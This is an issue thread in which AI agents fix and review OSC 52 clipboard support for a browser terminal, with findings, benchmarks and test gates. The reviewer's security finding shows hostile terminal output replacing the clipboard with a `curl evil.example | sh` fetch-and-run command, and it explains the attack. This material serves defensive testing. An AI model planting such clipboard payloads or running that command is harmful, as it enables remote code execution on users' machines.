Remote clipboard: OSC 52 writes from programs never reach the browser clipboard (J398) #440

Open
opened 2026-11-08 23:37:31 +00:00 by kayg · 12 comments
Owner

J390's review (#419, comment 87890) ran a real-terminal smoke test through a branch server: a program's OSC 52 clipboard copy (printf '\e]52;c;%s\a' "$(printf hello | base64)", or tmux/vim/neovim set-clipboard) did not reach the browser clipboard, on the libghostty 1.0 branch and on unmodified dev.

Job J398 (Claude Sonnet 5.5). Branch fix-osc52-clipboard, base origin/dev 0a5432d2c.

Plan: (1) find where OSC 52 is lost (shim, protocol/server, browser); (2) red browser spec on a production build; (3) fix the root cause; (4) gate at 1440x900 and 393x852 x3 plus verify quick; (5) say whether production is affected.
Estimate: ~3 h.

First finding (static reading): the vendored ghostty-web only scans written data for OSC 0/1/2 (checkForTitleChange); its public API has no OSC 52 hook. apps/tracer/src has no OSC 52 code. Confirming at runtime next.

J390's review (#419, comment 87890) ran a real-terminal smoke test through a branch server: a program's OSC 52 clipboard copy (`printf '\e]52;c;%s\a' "$(printf hello | base64)"`, or tmux/vim/neovim set-clipboard) did not reach the browser clipboard, on the libghostty 1.0 branch and on unmodified dev. Job J398 (Claude Sonnet 5.5). Branch `fix-osc52-clipboard`, base origin/dev 0a5432d2c. Plan: (1) find where OSC 52 is lost (shim, protocol/server, browser); (2) red browser spec on a production build; (3) fix the root cause; (4) gate at 1440x900 and 393x852 x3 plus `verify quick`; (5) say whether production is affected. Estimate: ~3 h. First finding (static reading): the vendored ghostty-web only scans written data for OSC 0/1/2 (`checkForTitleChange`); its public API has no OSC 52 hook. apps/tracer/src has no OSC 52 code. Confirming at runtime next.
Author
Owner

Start. Branch fix-osc52-clipboard from origin/dev 0a5432d2c. Worktree on code: ~/Developer/Worktrees/infraternal-j398.

Finding 1 (client is where OSC 52 is lost; evidence from reading dev):

  • Server and shim only relay the bytes (terminal_queries.rs handles reply routing; the shim's terminal_limits.rs trims control strings to 4096 bytes for its own VT state, not for the stream sent to browsers — to be confirmed with a >4 KiB payload).
  • In the browser, apps/tracer/vendor/ghostty-web only scans written data for OSC 0/1/2 titles (checkForTitleChange); grep for OSC 52/clipboard in the wrapper .d.ts, the JS bundle and apps/tracer/src finds nothing. The wasm VT parses the sequence and drops it.
  • DECISIONS.md has no entry for terminal-program clipboard writes (only VNC clipboard, D343/Q5), so no designed "Copy" prompt exists. Plan: intercept OSC 52 at the client's live-output write wrapper (terminal.ts), write with navigator.clipboard.writeText; when the browser refuses (no gesture/permission, e.g. Safari), keep the text and show the shared toast with a "Copy" action, whose tap is the gesture. Never answer the ? read form; never act on replayed/snapshot bytes.
**Start.** Branch `fix-osc52-clipboard` from origin/dev 0a5432d2c. Worktree on `code`: `~/Developer/Worktrees/infraternal-j398`. **Finding 1 (client is where OSC 52 is lost; evidence from reading dev):** - Server and shim only relay the bytes (`terminal_queries.rs` handles reply routing; the shim's `terminal_limits.rs` trims control strings to 4096 bytes for its *own* VT state, not for the stream sent to browsers — to be confirmed with a >4 KiB payload). - In the browser, `apps/tracer/vendor/ghostty-web` only scans written data for OSC 0/1/2 titles (`checkForTitleChange`); `grep` for OSC 52/clipboard in the wrapper `.d.ts`, the JS bundle and `apps/tracer/src` finds nothing. The wasm VT parses the sequence and drops it. - `DECISIONS.md` has no entry for terminal-program clipboard writes (only VNC clipboard, D343/Q5), so no designed "Copy" prompt exists. Plan: intercept OSC 52 at the client's live-output write wrapper (`terminal.ts`), write with `navigator.clipboard.writeText`; when the browser refuses (no gesture/permission, e.g. Safari), keep the text and show the shared toast with a "Copy" action, whose tap is the gesture. Never answer the `?` read form; never act on replayed/snapshot bytes.
Author
Owner

Progress (pushed to fix-osc52-clipboard):

  • 24ac828e1 red spec apps/tracer/test/osc52-clipboard.spec.ts (4 cases x 2 viewports: allowed write, refused/read/empty/bad writes, refused-write "Copy" fallback, replay silence).
  • cfcce9c2c apps/tracer/src/osc52.ts scanner + osc52.test.ts.
  • 6e4963d34 wired into the live-output path of terminal.ts; "Copied from the terminal" notice, or a "Copy" action on the shared toast when the browser refuses the write.

Finding 2 (security/policy, for the owner to know): auto-writing the clipboard from terminal output lets any program (or a cat of hostile text) replace the clipboard. Mitigations in this change: write-only (never answers ?), never clears, 1 MiB cap, and a visible notice on every copy. Not added: an off switch or per-host allow-list; that is a UX/policy choice for kayg.

Queue: one dev-02 slot run (red on the test-only commit, unit tests, typecheck, green spec --repeat-each=3) is queued as pid 652717; log ~/j398-run.log on dev-02, evidence ~/j398-evidence. Next: real-terminal check on https://test.ssh.kayg.org to answer "is production affected".

**Progress (pushed to `fix-osc52-clipboard`):** - `24ac828e1` red spec `apps/tracer/test/osc52-clipboard.spec.ts` (4 cases x 2 viewports: allowed write, refused/read/empty/bad writes, refused-write "Copy" fallback, replay silence). - `cfcce9c2c` `apps/tracer/src/osc52.ts` scanner + `osc52.test.ts`. - `6e4963d34` wired into the live-output path of `terminal.ts`; "Copied from the terminal" notice, or a "Copy" action on the shared toast when the browser refuses the write. **Finding 2 (security/policy, for the owner to know):** auto-writing the clipboard from terminal output lets any program (or a `cat` of hostile text) replace the clipboard. Mitigations in this change: write-only (never answers `?`), never clears, 1 MiB cap, and a visible notice on every copy. Not added: an off switch or per-host allow-list; that is a UX/policy choice for kayg. **Queue:** one dev-02 slot run (red on the test-only commit, unit tests, typecheck, green spec `--repeat-each=3`) is queued as pid 652717; log `~/j398-run.log` on dev-02, evidence `~/j398-evidence`. Next: real-terminal check on https://test.ssh.kayg.org to answer "is production affected".
Author
Owner

Finding 3 (test-server probe: inconclusive, not evidence). I signed in to https://test.ssh.kayg.org with test-admin-signin.ts and ran printf '\033]52;c;%s\a' "$(printf hello-j398 | base64)" through the command palette's "Open shell on ssh". The clipboard stayed at its sentinel, but the shell never opened: the page shows "This server runs without root, so it can only open shells as its own user. Add a host to work elsewhere." So this run proves nothing about a real terminal; I am not counting it. Getting a real PTY there needs an added host (extra scope), so I am not doing it unless asked. Probe script: ~/infraternal-ops/j398-probe.ts on compute01; screenshot ~/j398/04-after-osc52.png there.

Is production affected? By code, yes: production serves the same client bundle, and the client has no OSC 52 path (vendored renderer drops it; no code in apps/tracer/src). The red spec on a production build of the client will show it at runtime (run queued on dev-02).

**Finding 3 (test-server probe: inconclusive, not evidence).** I signed in to https://test.ssh.kayg.org with `test-admin-signin.ts` and ran `printf '\033]52;c;%s\a' "$(printf hello-j398 | base64)"` through the command palette's "Open shell on ssh". The clipboard stayed at its sentinel, but the shell never opened: the page shows "This server runs without root, so it can only open shells as its own user. Add a host to work elsewhere." So this run proves nothing about a real terminal; I am not counting it. Getting a real PTY there needs an added host (extra scope), so I am not doing it unless asked. Probe script: `~/infraternal-ops/j398-probe.ts` on compute01; screenshot `~/j398/04-after-osc52.png` there. **Is production affected?** By code, yes: production serves the same client bundle, and the client has no OSC 52 path (vendored renderer drops it; no code in `apps/tracer/src`). The red spec on a production build of the client will show it at runtime (run queued on dev-02).
Author
Owner

Finish. Branch fix-osc52-clipboard, head 81997ecf38fe0be93a80de6849ac9a78f3de28cd, base origin/dev 0a5432d2c.

Cause: the browser client never read OSC 52. The vendored renderer parses it and drops it; the shim and server only relay bytes. No clipboard-write path existed, and no designed fallback.

Fix: osc52.ts scanner on the live output path, writing via the shared writeClipboard; "Copied from the terminal" notice, or a "Copy" action on the shared toast when the browser refuses (tap = gesture). Replayed output is scanned silently.

Gates (dev-02, logs ~/j398-run.log, ~/j398-gate.log, ~/j398-quick.log):

  • red on 24ac828e1: 8 failed (all 8 cases).
  • green x3 at 1440x900 and 393x852: 24 passed (3.7m); unit bun test src/osc52.test.ts and bun run check exit 0.
  • scripts/verify quick exit 0 (after the doc-comment commit):
+---------------------------+--------------+
| Rust gate                 | Result       |
+---------------------------+--------------+
| scope guard               | PASS         |
| migration names           | PASS         |
| Nix Cargo vendoring       | PASS         |
| fmt                       | PASS         |
| doc coverage ratchet      | PASS         |
| shape lints off (D351)    | PASS         |
| doc comments on diff      | PASS         |
| fixed test waits          | PASS         |
| ui literals               | PASS         |
| tracer typecheck          | PASS         |
+---------------------------+--------------+

Production affected: yes by code (same client bundle, no OSC 52 path). Real-terminal proof on test.ssh.kayg.org was not obtained (its server cannot open a shell without an added host); see finding 3.
Not run: verify fast. Open points for kayg: policy on auto-writing the clipboard (finding 2); the shim trims control strings to 4096 bytes for its own state, which I did not test against browser streams.

**Finish.** Branch `fix-osc52-clipboard`, head `81997ecf38fe0be93a80de6849ac9a78f3de28cd`, base origin/dev 0a5432d2c. **Cause:** the browser client never read OSC 52. The vendored renderer parses it and drops it; the shim and server only relay bytes. No clipboard-write path existed, and no designed fallback. **Fix:** `osc52.ts` scanner on the live output path, writing via the shared `writeClipboard`; "Copied from the terminal" notice, or a "Copy" action on the shared toast when the browser refuses (tap = gesture). Replayed output is scanned silently. **Gates (dev-02, logs `~/j398-run.log`, `~/j398-gate.log`, `~/j398-quick.log`):** - red on `24ac828e1`: 8 failed (all 8 cases). - green x3 at 1440x900 and 393x852: 24 passed (3.7m); unit `bun test src/osc52.test.ts` and `bun run check` exit 0. - `scripts/verify quick` exit 0 (after the doc-comment commit): ``` +---------------------------+--------------+ | Rust gate | Result | +---------------------------+--------------+ | scope guard | PASS | | migration names | PASS | | Nix Cargo vendoring | PASS | | fmt | PASS | | doc coverage ratchet | PASS | | shape lints off (D351) | PASS | | doc comments on diff | PASS | | fixed test waits | PASS | | ui literals | PASS | | tracer typecheck | PASS | +---------------------------+--------------+ ``` **Production affected:** yes by code (same client bundle, no OSC 52 path). Real-terminal proof on test.ssh.kayg.org was not obtained (its server cannot open a shell without an added host); see finding 3. Not run: `verify fast`. Open points for kayg: policy on auto-writing the clipboard (finding 2); the shim trims control strings to 4096 bytes for its own state, which I did not test against browser streams.
Author
Owner

J399 review start. Reviewing fix-osc52-clipboard @ 81997ecf3 (base = origin/dev 0a5432d2c, so merging current dev into a scratch worktree is a no-op merge). Reviewer is independent of J398.

Plan: (1) read scanner + wiring; (2) bun unit tests + fuzz/adversarial cases on the scanner; (3) hot-path throughput measurement on dev-02 (large output burst, scanner on vs off); (4) specs at 1440x900 and 393x852 on dev-02 via build-slot (slots currently all busy, queued); (5) real-terminal long-copy test (3 KB / 64 KB / 900 KB) against a branch server on compute01; (6) UI screenshots ink + paper. Note: the common brief says reviewers do not run verify quick; this task asks for it explicitly, so I run it once on the merged scratch worktree.

**J399 review start.** Reviewing `fix-osc52-clipboard` @ `81997ecf3` (base = origin/dev `0a5432d2c`, so merging current dev into a scratch worktree is a no-op merge). Reviewer is independent of J398. Plan: (1) read scanner + wiring; (2) bun unit tests + fuzz/adversarial cases on the scanner; (3) hot-path throughput measurement on dev-02 (large output burst, scanner on vs off); (4) specs at 1440x900 and 393x852 on dev-02 via build-slot (slots currently all busy, queued); (5) real-terminal long-copy test (3 KB / 64 KB / 900 KB) against a branch server on compute01; (6) UI screenshots ink + paper. Note: the common brief says reviewers do not run `verify quick`; this task asks for it explicitly, so I run it once on the merged scratch worktree.
Author
Owner

J399 finding: hot-path cost of Osc52Scanner.scan (measured, not a defect).
Machine: dev-02 (aarch64, load avg ~3.3-4.4, shared, so absolute numbers are noisy; this is not the perf VM). Harness: scratch script outside the repo, 64 MiB of synthetic output fed as 1 / 16 / 64 KiB chunks, best of 5 after warm-up, run under bun 1.4.4 (JavaScriptCore) and node 26 (V8). Files on dev-02: ~/j399-evidence/bench-bun.txt, ~/j399-evidence/bench-node.txt, script ~/j399-bench.ts. Each row is compared with the existing TerminalQueries.scan, which runs on the same chunk.

output kind (64 KiB chunk) Osc52Scanner existing TerminalQueries
plain text, no ESC ~1.0 us/chunk (~62-68 GB/s, one indexOf) ~0.9-1.0 us
coloured text (SGR every ~30 B) 42 us bun / 91 us node (1.4 / 0.7 GB/s) 101 / 169 us
worst case, an ESC every ~7 B 83 us bun / 175 us node (0.74 / 0.36 GB/s) 143 / 245 us
a real 768 KiB copy, whole sequence 1.9-4.8 ms in total across all chunk sizes (string concat; no per-byte work in the text run) n/a

Reading: the new scan adds a per-chunk cost of about 1 us on plain output and at most ~0.1-0.2 ms on a 64 KiB chunk of escape-dense output; it is ~1.7x cheaper than the scanner already running beside it, so it adds roughly +40-60% to the existing scan cost on coloured output and nothing measurable on plain output. Against a 16 ms frame that is below 1.2% even in the worst case. Measurable per chunk, not measurable at frame level; I did not find a regression. (Not measured: an end-to-end flood on the perf VM; the production flood budget row is the place for that if the owner wants a number there.)

**J399 finding: hot-path cost of `Osc52Scanner.scan` (measured, not a defect).** Machine: dev-02 (aarch64, load avg ~3.3-4.4, shared, so absolute numbers are noisy; this is not the perf VM). Harness: scratch script outside the repo, 64 MiB of synthetic output fed as 1 / 16 / 64 KiB chunks, best of 5 after warm-up, run under bun 1.4.4 (JavaScriptCore) and node 26 (V8). Files on dev-02: `~/j399-evidence/bench-bun.txt`, `~/j399-evidence/bench-node.txt`, script `~/j399-bench.ts`. Each row is compared with the existing `TerminalQueries.scan`, which runs on the same chunk. | output kind (64 KiB chunk) | Osc52Scanner | existing TerminalQueries | |---|---|---| | plain text, no ESC | ~1.0 us/chunk (~62-68 GB/s, one `indexOf`) | ~0.9-1.0 us | | coloured text (SGR every ~30 B) | 42 us bun / 91 us node (1.4 / 0.7 GB/s) | 101 / 169 us | | worst case, an ESC every ~7 B | 83 us bun / 175 us node (0.74 / 0.36 GB/s) | 143 / 245 us | | a real 768 KiB copy, whole sequence | 1.9-4.8 ms in total across all chunk sizes (string concat; no per-byte work in the text run) | n/a | Reading: the new scan adds a per-chunk cost of about 1 us on plain output and at most ~0.1-0.2 ms on a 64 KiB chunk of escape-dense output; it is ~1.7x cheaper than the scanner already running beside it, so it adds roughly +40-60% to the existing scan cost on coloured output and nothing measurable on plain output. Against a 16 ms frame that is below 1.2% even in the worst case. Measurable per chunk, not measurable at frame level; I did not find a regression. (Not measured: an end-to-end flood on the perf VM; the production flood budget row is the place for that if the owner wants a number there.)
Author
Owner

J399 progress: specs and UI (dev-02, branch head 81997ecf3 = origin/dev 0a5432d2c + 5 commits; merging current dev was a no-op).

  • bun test src/osc52.test.ts: 7 pass, 0 fail (47 expects).
  • Branch spec osc52-clipboard.spec.ts x 2 viewports: 8 passed; plus my scratch UI spec (not committed): 4 passed. Run log ~/j399-evidence/spec-run.log on dev-02: 12 passed (2.6m), SPEC_EXIT=0.
  • Screenshots (ink and paper, 1440x900 and 393x852, notice and Copy fallback, full page and toast crop) in ~/j399-evidence/ui/ on dev-02, plus the branch spec's own in ~/j399-evidence/pw/osc52/.
  • Measured: notice and fallback are the shared .ui-toast (placement: parent, same as the input-resend notice), 14.3 px (desktop) / 16 px (phone) type from the shared tokens; label, icon and action centre lines equal within 0.01 px; the Copy action is 35 px high on desktop and 44 px on touch; a second copy replaces the first (still 1 toast). Visually it matches the product (ink and paper).
  • Look: the toast floats at the bottom of the terminal window, so it covers the bottom rows (where a real prompt sits) for 1.8 s, or for up to 15 s with the Copy action. On a phone the "The terminal has text to copy" message wraps to two lines.
    Long-copy end-to-end on compute01 (real PTY via a root-run throwaway server) is queued; first two attempts failed on my harness (shared agent runtime dir; a non-root server cannot open shells), not on the product.
**J399 progress: specs and UI (dev-02, branch head `81997ecf3` = origin/dev `0a5432d2c` + 5 commits; merging current dev was a no-op).** - `bun test src/osc52.test.ts`: 7 pass, 0 fail (47 expects). - Branch spec `osc52-clipboard.spec.ts` x 2 viewports: **8 passed**; plus my scratch UI spec (not committed): 4 passed. Run log `~/j399-evidence/spec-run.log` on dev-02: `12 passed (2.6m)`, `SPEC_EXIT=0`. - Screenshots (ink and paper, 1440x900 and 393x852, notice and Copy fallback, full page and toast crop) in `~/j399-evidence/ui/` on dev-02, plus the branch spec's own in `~/j399-evidence/pw/osc52/`. - Measured: notice and fallback are the shared `.ui-toast` (`placement: parent`, same as the input-resend notice), 14.3 px (desktop) / 16 px (phone) type from the shared tokens; label, icon and action centre lines equal within 0.01 px; the Copy action is 35 px high on desktop and 44 px on touch; a second copy replaces the first (still 1 toast). Visually it matches the product (ink and paper). - Look: the toast floats at the bottom of the terminal window, so it covers the bottom rows (where a real prompt sits) for 1.8 s, or for up to 15 s with the Copy action. On a phone the "The terminal has text to copy" message wraps to two lines. Long-copy end-to-end on compute01 (real PTY via a root-run throwaway server) is queued; first two attempts failed on my harness (shared agent runtime dir; a non-root server cannot open shells), not on the product.
Author
Owner

J399 findings (evidence in ~/j399-evidence/ on compute01 and dev-02).

Long-copy end to end (real PTY, real shim, real server run as root on compute01, real Chromium, branch tracer bundle). Server binary: a prebuilt dev-derived release build (the branch changes no Rust). A shell opened through the palette; each case runs printf '\033]52;c;%s\a' "$(seq 1 400000 | head -c N | base64 -w0)" and the page's clipboard is compared with the expected text by length and SHA-256 prefix. Results (~/j399-evidence/root/longcopy-results.json, run log ~/j399-evidence/longcopy-run3.log):

copy base64 chars reached the browser full text equal
3 KB 4,000 yes yes
64 KB 87,384 yes yes
700 KB 933,336 yes yes
786,432 B (exact cap) 1,048,576 yes yes
900 KB 1,200,000 no, and no notice clipboard kept its old text
target s (500 B) yes yes
target 0 (cut buffer) ignored, no notice clipboard unchanged
? query, then empty write clipboard unchanged
tmux set-buffer -w in a real tmux yes ("copied-by-tmux j399")
cat of a file with a hostile OSC 52 clipboard replaced with `curl evil.example sh`

The shim's 4096-byte limit does not reach the browser: it filters only the shim's own terminal state (terminal_limits.rs, and only in the opt-in process-per-user host); the raw PTY bytes are appended to the ring unfiltered (user_host.rs, ring.append(&bytes[..used]) after terminal.process). The 700 KB and 786,432 B copies arrived intact, which fits that. Caveat: I did not run the opt-in process-per-user host.

P2-1: a copy over the cap is dropped silently. The cap is 1,048,576 base64 characters, which is 786,432 bytes (768 KiB) of text, not 1 MiB. A 900 KB copy from vim, tmux or a pipe does nothing and shows nothing; the person pastes the old clipboard and sees stale text with no clue why (osc52.ts Step.Skip; evidence: the 900k row above, the notice counter stayed at x4). Fix: show a notice naming the failure ("Too large to copy from the terminal"), so it is never silent; raising the cap is a separate choice for the owner.

P2-2: nothing limits the write to the focused terminal. Every TerminalClient has its own scanner and remoteCopy checks only this.closed (terminal.ts writeQueryResponses/remoteCopy). So an unfocused window, one scrolled off the canvas, or a background tab can replace the clipboard, and its notice appears in its own window, which may be off screen. This is from reading the code; I did not run a two-window case (the test double has one session). It matters for the security point below and for TASTE ("A toast's action says what it does" / no rogue notifications: a notice nobody can see is worse than none). Suggested behaviour (TASTE: pick the right behaviour per situation instead of offering a setting): the focused terminal writes and says so; an unfocused or hidden one keeps the text behind the "Copy" action in its own window, or says nothing and writes nothing.

P3-1: writeClipboard falls back to legacyCopy, which focuses a hidden textarea and restores focus. Outside a user gesture the async write is refused and this path runs while the person may be typing in the terminal; it briefly moves focus (could disturb an IME composition). Prefer the async API only for background writes, then the Copy action.
P3-2: the notice sits at the bottom of the window and covers the bottom rows (the prompt) for 1.8 s, or up to 15 s with the Copy action; on a phone the fallback message wraps to two lines. It matches the shared toast look and alignment (centre lines within 0.01 px, 44 px action on touch).
P3-3: small scanner details, safe direction, no action needed unless wanted: a UTF-8 byte-order mark is stripped from the copied text; CAN/SUB inside a text run is not treated as a cancel (the whole string then fails to decode and is dropped); URL-safe base64, non-UTF-8 text and 8-bit OSC (0x9d) are silently ignored; unpadded base64 and a tmux passthrough (ESC P tmux; ESC ESC ] 52 ...) are accepted (/tmp/j399-adv.ts output).

Security. Any program in a terminal, or a cat of hostile text (an old log, a README, a web page saved to disk), can replace the clipboard with text it chooses; the person's next paste then runs it (shown above: curl evil.example | sh). The only visible signal is a 1.8 s "Copied from the terminal" notice inside that window. It is write-only (? is never answered), so nothing is read out of the clipboard, which is the part that would leak secrets. Options for the owner: (a) keep as is; (b) a setting or per-host allow-list for auto-write, off or on; (c) never write on its own: always show the "Copy" action and let the tap write (the safest, and what Safari already forces); (d) write on its own only for the focused terminal and only shortly after the person typed there, otherwise show the Copy action. Option (d) with P2-2 is my recommendation: it keeps tmux and vim copying as people expect and stops background and idle output from touching the clipboard. Not blocking.

**J399 findings (evidence in `~/j399-evidence/` on compute01 and dev-02).** **Long-copy end to end (real PTY, real shim, real server run as root on compute01, real Chromium, branch tracer bundle).** Server binary: a prebuilt dev-derived release build (the branch changes no Rust). A shell opened through the palette; each case runs `printf '\033]52;c;%s\a' "$(seq 1 400000 | head -c N | base64 -w0)"` and the page's clipboard is compared with the expected text by length and SHA-256 prefix. Results (`~/j399-evidence/root/longcopy-results.json`, run log `~/j399-evidence/longcopy-run3.log`): | copy | base64 chars | reached the browser | full text equal | |---|---|---|---| | 3 KB | 4,000 | yes | yes | | 64 KB | 87,384 | yes | yes | | 700 KB | 933,336 | yes | yes | | 786,432 B (exact cap) | 1,048,576 | yes | yes | | **900 KB** | 1,200,000 | **no, and no notice** | clipboard kept its old text | | target `s` (500 B) | | yes | yes | | target `0` (cut buffer) | | ignored, no notice | clipboard unchanged | | `?` query, then empty write | | clipboard unchanged | | | `tmux set-buffer -w` in a real tmux | | yes ("copied-by-tmux j399") | | | `cat` of a file with a hostile OSC 52 | | **clipboard replaced** with `curl evil.example | sh` | | The shim's 4096-byte limit does not reach the browser: it filters only the shim's own terminal state (`terminal_limits.rs`, and only in the opt-in `process-per-user` host); the raw PTY bytes are appended to the ring unfiltered (`user_host.rs`, `ring.append(&bytes[..used])` after `terminal.process`). The 700 KB and 786,432 B copies arrived intact, which fits that. Caveat: I did not run the opt-in `process-per-user` host. **P2-1: a copy over the cap is dropped silently.** The cap is 1,048,576 base64 characters, which is 786,432 bytes (768 KiB) of text, not 1 MiB. A 900 KB copy from vim, tmux or a pipe does nothing and shows nothing; the person pastes the old clipboard and sees stale text with no clue why (`osc52.ts` `Step.Skip`; evidence: the 900k row above, the notice counter stayed at x4). Fix: show a notice naming the failure ("Too large to copy from the terminal"), so it is never silent; raising the cap is a separate choice for the owner. **P2-2: nothing limits the write to the focused terminal.** Every `TerminalClient` has its own scanner and `remoteCopy` checks only `this.closed` (`terminal.ts` `writeQueryResponses`/`remoteCopy`). So an unfocused window, one scrolled off the canvas, or a background tab can replace the clipboard, and its notice appears in its own window, which may be off screen. This is from reading the code; I did not run a two-window case (the test double has one session). It matters for the security point below and for TASTE ("A toast's action says what it does" / no rogue notifications: a notice nobody can see is worse than none). Suggested behaviour (TASTE: pick the right behaviour per situation instead of offering a setting): the focused terminal writes and says so; an unfocused or hidden one keeps the text behind the "Copy" action in its own window, or says nothing and writes nothing. **P3-1:** `writeClipboard` falls back to `legacyCopy`, which focuses a hidden textarea and restores focus. Outside a user gesture the async write is refused and this path runs while the person may be typing in the terminal; it briefly moves focus (could disturb an IME composition). Prefer the async API only for background writes, then the Copy action. **P3-2:** the notice sits at the bottom of the window and covers the bottom rows (the prompt) for 1.8 s, or up to 15 s with the Copy action; on a phone the fallback message wraps to two lines. It matches the shared toast look and alignment (centre lines within 0.01 px, 44 px action on touch). **P3-3:** small scanner details, safe direction, no action needed unless wanted: a UTF-8 byte-order mark is stripped from the copied text; CAN/SUB inside a text run is not treated as a cancel (the whole string then fails to decode and is dropped); URL-safe base64, non-UTF-8 text and 8-bit OSC (0x9d) are silently ignored; unpadded base64 and a tmux passthrough (`ESC P tmux; ESC ESC ] 52 ...`) are accepted (`/tmp/j399-adv.ts` output). **Security.** Any program in a terminal, or a `cat` of hostile text (an old log, a README, a web page saved to disk), can replace the clipboard with text it chooses; the person's next paste then runs it (shown above: `curl evil.example | sh`). The only visible signal is a 1.8 s "Copied from the terminal" notice inside that window. It is write-only (`?` is never answered), so nothing is read out of the clipboard, which is the part that would leak secrets. Options for the owner: (a) keep as is; (b) a setting or per-host allow-list for auto-write, off or on; (c) never write on its own: always show the "Copy" action and let the tap write (the safest, and what Safari already forces); (d) write on its own only for the focused terminal and only shortly after the person typed there, otherwise show the Copy action. Option (d) with P2-2 is my recommendation: it keeps tmux and vim copying as people expect and stops background and idle output from touching the clipboard. Not blocking.
Author
Owner

J399 final: REQUEST CHANGES (reviewed 81997ecf3; origin/dev 0a5432d2c already contained, merge was a no-op).

Gates: bun test src/osc52.test.ts 7 pass / 0 fail. Browser specs on dev-02 (production tracer build): branch spec 8/8 plus my 4 scratch UI cases, 12 passed (2.6m), SPEC_EXIT=0 (~/j399-evidence/spec-run.log). scripts/verify quick on the merged scratch worktree: exit 0, all 10 rows PASS incl. tracer typecheck, doc comments on diff, fixed test waits (~/j399-evidence/quick.log; the common brief says reviewers skip quick, this task asked for it, so I ran it once). verify fast not run (author's job; not asked).

Long copies (real PTY, root-run throwaway server on compute01): 3 KB, 64 KB, 700 KB and the exact cap 786,432 B reach the browser whole (length and SHA match). 900 KB is dropped with no notice (P2-1). The shim's 4096-byte trim does not touch the live stream.
Hot path: ~1 us per chunk on plain output; 42-91 us (coloured) and 83-175 us (worst case, ESC every ~7 B) per 64 KiB chunk; about 1.7x cheaper than the existing TerminalQueries.scan beside it. No measurable frame-level cost.

Findings: P2-1 over-cap copy silent (add a notice). P2-2 any terminal, focused or not, can write the clipboard and its notice may be off screen (gate on focus; unfocused keeps the Copy action). P3: legacy copy path steals focus outside a gesture; notice covers the prompt rows and wraps on phones; scanner edge cases (BOM stripped, CAN mid-run, URL-safe/non-UTF-8 ignored). Security options (a)-(d) described above; owner decides, not blocking. TASTE check (ink and paper, 1440x900 and 393x852): shared toast, tokens, alignment and 44 px touch target all fine.
Not done: no two-window runtime case (test double has one session), P2-2 is from code reading; process-per-user host not run. Cleanup: root server and its two shims stopped by PID, /root/j399, token, dist, target removed; worktrees ~/worktrees/j399 (both VMs) left for the orchestrator.

**J399 final: REQUEST CHANGES** (reviewed `81997ecf3`; origin/dev `0a5432d2c` already contained, merge was a no-op). Gates: `bun test src/osc52.test.ts` 7 pass / 0 fail. Browser specs on dev-02 (production tracer build): branch spec 8/8 plus my 4 scratch UI cases, `12 passed (2.6m)`, `SPEC_EXIT=0` (`~/j399-evidence/spec-run.log`). `scripts/verify quick` on the merged scratch worktree: exit 0, all 10 rows PASS incl. tracer typecheck, doc comments on diff, fixed test waits (`~/j399-evidence/quick.log`; the common brief says reviewers skip quick, this task asked for it, so I ran it once). `verify fast` not run (author's job; not asked). Long copies (real PTY, root-run throwaway server on compute01): 3 KB, 64 KB, 700 KB and the exact cap 786,432 B reach the browser whole (length and SHA match). 900 KB is dropped with no notice (P2-1). The shim's 4096-byte trim does not touch the live stream. Hot path: ~1 us per chunk on plain output; 42-91 us (coloured) and 83-175 us (worst case, ESC every ~7 B) per 64 KiB chunk; about 1.7x cheaper than the existing `TerminalQueries.scan` beside it. No measurable frame-level cost. Findings: **P2-1** over-cap copy silent (add a notice). **P2-2** any terminal, focused or not, can write the clipboard and its notice may be off screen (gate on focus; unfocused keeps the Copy action). P3: legacy copy path steals focus outside a gesture; notice covers the prompt rows and wraps on phones; scanner edge cases (BOM stripped, CAN mid-run, URL-safe/non-UTF-8 ignored). Security options (a)-(d) described above; owner decides, not blocking. TASTE check (ink and paper, 1440x900 and 393x852): shared toast, tokens, alignment and 44 px touch target all fine. Not done: no two-window runtime case (test double has one session), P2-2 is from code reading; `process-per-user` host not run. Cleanup: root server and its two shims stopped by PID, `/root/j399`, token, dist, target removed; worktrees `~/worktrees/j399` (both VMs) left for the orchestrator.
Author
Owner

Review fixes (J399), head 31ebfc6251e116bb4cece5580864a907a765f074 (confirmed with git ls-remote: 31ebfc6251e116bb4cece5580864a907a765f074). Merged origin/dev 6b60f1fb7 first (ba20589dd).

  • Over-cap copy: scanner reports it (onTooLarge); notice "That copy was too large for the clipboard"; clipboard untouched. Docs now say 1,048,576 base64 chars = 786,432 bytes of text (not "1 MiB").
  • Focus: mayCopyWithoutTap() is the single decision point (focused terminal on a visible page); anything else, or a refused write, offers "From " + Copy and never writes. A policy change is a one-function edit.
  • Legacy fallback: writeClipboard(text, { legacy: false }) for program-started copies; the focus never moves (spec logs focusin: none).
  • Placement: the first attempt (shared toast) covered the prompt and wrapped, so it was replaced by the window's own toast on the edge away from the cursor (new ToastController.setEdge), one line on a phone. See screenshots.

Caveat on the two-window spec: the mock server serves one terminal per page connection (a second attach closes the socket), so a live two-window spec is not possible without rebuilding it. osc52-focus.spec.ts models the other window by what the code checks (focus outside the terminal host) and counts every navigator.clipboard.writeText call to prove none happens by itself. Say if you want the mock extended for a true two-window run.

Gates (dev-02; logs ~/j398-r2.log, ~/j398-r4.log, ~/j398-r5.log):

  • red (before the fix, 74abce18d): over-cap, refused-write placement and legacy-focus cases failed; the first two-window attempt could not run (see caveat).
  • green x3 at 1440x900 and 393x852 (16 cases x 3): 48 passed (10.1m) on 64e76c1af; unit tests and bun run check exit 0.
  • scripts/verify quick exit 0 on 31ebfc6251e116bb4cece5580864a907a765f074:
+---------------------------+--------------+
| Rust gate                 | Result       |
+---------------------------+--------------+
| scope guard               | PASS         |
| migration names           | PASS         |
| Nix Cargo vendoring       | PASS         |
| fmt                       | PASS         |
| doc coverage ratchet      | PASS         |
| shape lints off (D351)    | PASS         |
| doc comments on diff      | PASS         |
| fixed test waits          | PASS         |
| ui literals               | PASS         |
| tracer typecheck          | PASS         |
+---------------------------+--------------+

Not run: verify fast/iterate. Screenshots attached: phone and desktop prompt (top and bottom), too-large, unfocused offer.

